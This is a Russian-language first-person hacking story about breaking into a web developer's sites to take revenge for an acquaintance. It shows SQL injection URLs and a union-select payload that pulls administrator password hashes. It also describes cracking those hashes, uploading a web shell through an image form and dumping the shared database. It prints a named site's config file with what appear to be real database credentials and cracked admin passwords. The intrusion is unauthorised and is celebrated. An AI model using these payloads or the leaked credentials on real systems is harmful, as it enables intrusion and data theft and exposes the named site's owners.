Меня всегда удивляли девелоперы, регулярно создающие бажные продукты
и умудряющиеся за них брать немалые деньги. Так было и в этот раз.
Когда я сидел
и ковырял найденную дырку в одном серьезном коммерческом CMS, о
котором напишу в следующий раз, в асю стукнул старый знакомый с просьбой. Он сказал, что подрабатывал веб-дизайнером на одну девелоперскую контору, но они его кинули с оплатой, заблокировали аккаунт и вот если бы я вернул ему доступ, то он бы утер нос своим обидчикам. Напел он это не очень внятно и малоубедительно, думаю, скорее всего, его выгнали
за регулярное пьянство и срыв сроков выполнения работ. Но так как просил он очень слезно, я отвлекся от своих дел и решил помочь старому знакомому.
Пройдясь по сайту самой фирмы и просканив порты, я ничего вразумительного не нашел, и думал уже забить на все это, так и сказав знакомому, что, видно, судьба к нему сегодня не благосклонна. Тут старый знакомый вспомнил,
что это был не единственный сайт фирмы, и через пару минут у меня был список из нескольких урлов. Я решил попытать счастья на других сайтах
в надежде, что пароль одного админа на разных сайтах нередко бывает один и тот же.
Анализ первых трех сайтов также ничего не дал. И только на четвертом запрос с кавычкой выплюнул радостное:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/doublef/public_html/camping/cdb.inc on line 61
Попытка просмотреть содержимое файла cdb.inc ничего не дала, ответ сервера был категоричен:
You don't have permission to access /camping/cdb.inc on this server
Зато была возможность SQL-инъекции:
http://target.com/?action=viewCat&cid=88&aid=&lid=2+and+1=1/*
Быстро подобрав количество полей (их оказалось всего
7), я поимел нешуточный геммор с названием таблиц. Именно этот процесс мне
всегда давался с трудом, но, помня свои предыдущие мучения с подбором страниц, я решил поискать инъекции в других скриптах - может, там мне удастся получить хоть какую-то дополнительную информацию о названиях таблиц и полей.
И действительно, очень быстро я нашел еще одну инъекцию:
http://target.com/?action=viewArt&cid=73&aid=91&lid=2’
,
нет, не выдавшую мне названия таблиц и полей, а всего лишь
сообщившую еще об одном файле в системе:
Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/doublef/public_html/camping/cdb.inc on line 72
Notice: Undefined index: text in /home/doublef/public_html/camping/function.inc on line 50
,
доступ к которому был для меня также закрыт.
Оставалось только поискать в инете инфу про данную CMS и возможную структуру базы, хотя на это я особенно не рассчитывал. Разговор со знакомым тоже результата не дал, кроме места расположения админки, он ничем помочь не мог.
Введя в гугл /?action=viewCat&cid=, я получил несколько ссылок, и все они вели на ранее просмотренные мною сайты. Тогда я решил проверить наличие файлов cdb.inc и function.inc на них. Директории /camping/ нигде не было, но файлы я нашел в корне всех сайтов и они были доступны мне для просмотра:
http://www.grandmonceau.com/cdb.inc
http://www.grandmonceau.com/function.inc
Даже толком не просмотрев их, я вбил в строку имя файла, которое мне подсказывала интуиция:
http://www.grandmonceau.com/config.inc
и созерцал реквизиты доступа к БД:
<? // config.inc define('PREFIX', dirname(__FILE__)); define('DEFAULT_LANGUAGE', "nl"); define('WEBSITE',"Grand Monceau"); $categoryTypes = array(1 => "Algemeen artikel", 2 => "Home pagina", 3 => "Plaatje boven menu", 11 => "Boekingen pagina", 4 => "Contact pagina", 6 => "Vacature pagina", 7 => "Link pagina", 8 => "Foto pagina", 12=> "Gastenboek"); $userNivo = array(1 => "Administrator", 2 => "Invoer / Opmaak", 3 => "Alleen invoer", 4 => "Alleen Lezen"); $conf['articlesPerPage'] = 10; $mail['returnAddress1'] = "cdiepenbroek@wisselaar.nl"; $mail['returnAddress'] = "info@grandmonceau.com"; $mail['headers'] = 'MIME-Version: 1.0' . "\r\n"; $mail['headers'] .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(is_readable(PREFIX . "/config_local.inc")) { include_once(PREFIX . "/config_local.inc"); } else { define('PATH_TO_SMARTY', dirname(__FILE__) . "/"); error_reporting(E_NONE); $conf['siteUrl'] = "http://www.grandmonceau.com/"; //trailing slash required. define('DBHOST', "localhost"); define('DBUSER', "grandmon_monceau"); define('DBPASS', "gh6ty84nq2"); define('DBNAME', "grandmon_monceau"); define('ARMINCO_HOSTING', false); } ?>
Я сразу прикинул, что, если пароль подойдет к фтп, залью RST MySQL и просмотрю базу. Но пароль к фтп не подошел.
Тогда я принялся анализировать cdb.inc и function.inc, в первом ничего интересного не оказалось, зато второй порадовал полной информацией о таблицах и полях базы, особенно этой:
{ global $db; $wc = ""; if($login === NULL) { return ($db->fetch_assoc_table("SELECT * FROM administrator")); } if($password !== NULL) $wc = " AND password = MD5('" . $password . "') "; return ($db->fast_fetch_assoc("SELECT * FROM administrator WHERE login = '" . $login . "'" . $wc)); }
Через минуту я уже владел md5-хешами паролей админа и еще одного пользователя:
http://target.com/?action=viewCat&cid=88& aid=&lid=2+
union+select+1,2,3,4,5,6,
password+from+administrator/*
Пробив хеши на http://www.milw0rm.com/md5/info.php,
я получил нехитрый пароль админа – qwerty и его напарника – martijn, и вот я уже в админке.
К сожалению, этот чудо-пароль админа не подошел на основном сайте девелоперской конторы.
Админка оказалась чудом минимализма - можно было только добавлять/редактировать/удалять тексты, и только в одном месте я нашел форму для upload’а картинок. Вообще, upload картинок в админке
- одно из самых слабых мест, и эта CMS была не исключением.
Залив шелл, я еще немного помучался с его поиском,
в конце оказалось, что шелл залился в директорию files, хотя в админке нигде не указывалось, куда заливаются файлы (незач0т девелоперам).
Найдя config.inc и выудив из него реквизиты доступа к БД,
уже через шелл я залил RST MySQL и был награжден. База оказалось общей для всех сайтов, различались они только названиями таблиц:
Doublef
Doublef_camping
Doublef_hh
Doublef_org и т.д.
Показав, как пользоваться RST MySQL, я отдал базу на растерзание старому знакомому и отправился спать.
И хотя в душе я пацифист, ну в смысле тот, кто всеми путями косит от армии, быть «оружием возмездия» мне было интересно. А ради чего еще жить?